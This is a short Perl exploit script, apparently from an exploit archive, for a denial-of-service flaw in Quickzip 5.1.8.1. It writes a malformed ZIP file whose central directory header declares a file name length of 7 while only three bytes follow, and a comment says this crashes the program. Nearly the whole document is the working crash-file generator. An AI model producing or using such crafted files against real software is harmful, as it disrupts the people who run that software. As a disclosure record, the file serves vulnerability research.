# Exploit Title: Quickzip 5.1.8.1 Denial of Service Vulnerability # Date: 2010/11/02 # Author: moigai # e-mail: again.liu@gmail.com # Version: 5.1.8.1 # Tested on: Windows XP SP3 En (VM) # Greetz to: Yoji my $file = "boom.zip"; my $localHeader = "\x50\x4b\x03\x04" . #Local file header signature "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; my $centralDirHeader = "\x50\x4b\x01\x02" . #central dir header signature "\x14\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . "\x07\x00" . #file name length "\x00\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x00\x00" . "\x00\x00"; # The program crashes when the file name is shorter than the length specified above. # In the case of length specified equals 0x7, the program crash when the actual length is smaller than 0x4 my $filename = "yyy"; my $endCentralDirHeader = "\x50\x4b\x05\x06" . #end central dir header signature "\x00\x00\x00\x00\x01\x00\x01\x00\x35\x00\x00\x00\x1e\x00" . "\x00\x00\x00\x00"; my $zip = $localHeader . $centralDirHeader . $filename . $endCentralDirHeader; print "\n[+] Creating zip file\n"; open(FILE, ">$file"); print FILE $zip; close(FILE); print "[+] File " . $file . " created\n";
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